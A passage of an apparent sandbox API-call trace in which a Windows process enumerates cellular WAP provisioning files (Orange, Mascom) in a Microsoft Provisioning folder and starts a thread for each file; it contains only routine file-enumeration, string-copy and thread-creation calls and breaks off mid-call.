(_String1="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.560] wcscmp (_String1="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x164) returned 0x2f6ccf8 [0181.560] wcscpy (in: _Dest=0x2f6ccf8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.560] wcscat (in: _Dest=0x2f6ccf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.560] wcscat (in: _Dest=0x2f6ccf8, _Source="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" [0181.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ccf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0181.561] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902943e8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902943e8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902943e8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="53__CO~1.PRO")) returned 1 [0181.561] wcscmp (_String1="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.561] wcscmp (_String1="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.561] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa3508 [0181.561] wcscpy (in: _Dest=0x2fa3508, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.561] wcscat (in: _Dest=0x2fa3508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.561] wcscat (in: _Dest=0x2fa3508, _Source="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" [0181.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0181.562] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913452f1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913452f1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="540__C~1.PRO")) returned 1 [0181.562] wcscmp (_String1="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.562] wcscmp (_String1="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.562] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa37d8 [0181.562] wcscpy (in: _Dest=0x2fa37d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.562] wcscat (in: _Dest=0x2fa37d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.562] wcscat (in: _Dest=0x2fa37d8, _Source="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" [0181.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa37d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0181.563] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="541__C~1.PRO")) returned 1 [0181.563] wcscmp (_String1="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.563] wcscmp (_String1="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2fa33a0 [0181.563] wcscpy (in: _Dest=0x2fa33a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.563] wcscat (in: _Dest=0x2fa33a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.563] wcscat (in: _Dest=0x2fa33a0, _Source="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" [0181.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa33a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0181.563] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", cAlternateFileName="542__C~1.PRO")) returned 1 [0181.564] wcscmp (_String1="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.564] wcscmp (_String1="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x2fa2428 [0181.564] wcscpy (in: _Dest=0x2fa2428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.564] wcscat (in: _Dest=0x2fa2428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.564] wcscat (in: _Dest=0x2fa2428, _Source="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" [0181.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0181.564] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="543__C~1.PRO")) returned 1 [0181.564] wcscmp (_String1="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.564] wcscmp (_String1="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x30565f0 [0181.564] wcscpy (in: _Dest=0x30565f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.564] wcscat (in: _Dest=0x30565f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.565] wcscat (in: _Dest=0x30565f0, _Source="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" [0181.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30565f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0181.565] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", cAlternateFileName="544__C~1.PRO")) returned 1 [0181.565] wcscmp (_String1="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.565] wcscmp (_String1="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fe2308 [0181.565] wcscpy (in: _Dest=0x2fe2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.565] wcscat (in: _Dest=0x2fe2308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.565] wcscat (in: _Dest=0x2fe2308, _Source="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" [0181.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0181.566] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913917c8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913917c8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913917c8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", cAlternateFileName="545__C~1.PRO")) returned 1 [0181.700] wcscmp (_String1="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.700] wcscmp (_String1="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x4f03270 [0181.700] wcscpy (in: _Dest=0x4f03270, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.700] wcscat (in: _Dest=0x4f03270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.700] wcscat (in: _Dest=0x4f03270, _Source="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" [0181.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0181.701] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913917c8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913917c8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913917c8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", cAlternateFileName="546__C~1.PRO")) returned 1 [0181.701] wcscmp (_String1="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.701] wcscmp (_String1="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.701] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x4f020f8 [0181.701] wcscpy (in: _Dest=0x4f020f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.701] wcscat (in: _Dest=0x4f020f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.701] wcscat (in: _Dest=0x4f020f8, _Source="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" [0181.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f020f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0181.702] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x0, dwReserved1=0x0, cFileName="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", cAlternateFileName="547__C~1.PRO")) returned 1 [0181.702] wcscmp (_String1="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.702] wcscmp (_String1="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x4f02500 [0181.702] wcscpy (in: _Dest=0x4f02500, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.702] wcscat (in: _Dest=0x4f02500, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.702] wcscat (in: _Dest=0x4f02500, _Source="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" [0181.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0181.702] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", cAlternateFileName="548__C~1.PRO")) returned 1 [0181.703] wcscmp (_String1="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.703] wcscmp (_String1="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x4f023a8 [0181.703] wcscpy (in: _Dest=0x4f023a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.703] wcscat (in: _Dest=0x4f023a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.703] wcscat (in: _Dest=0x4f023a8, _Source="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" [0181.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f023a8, 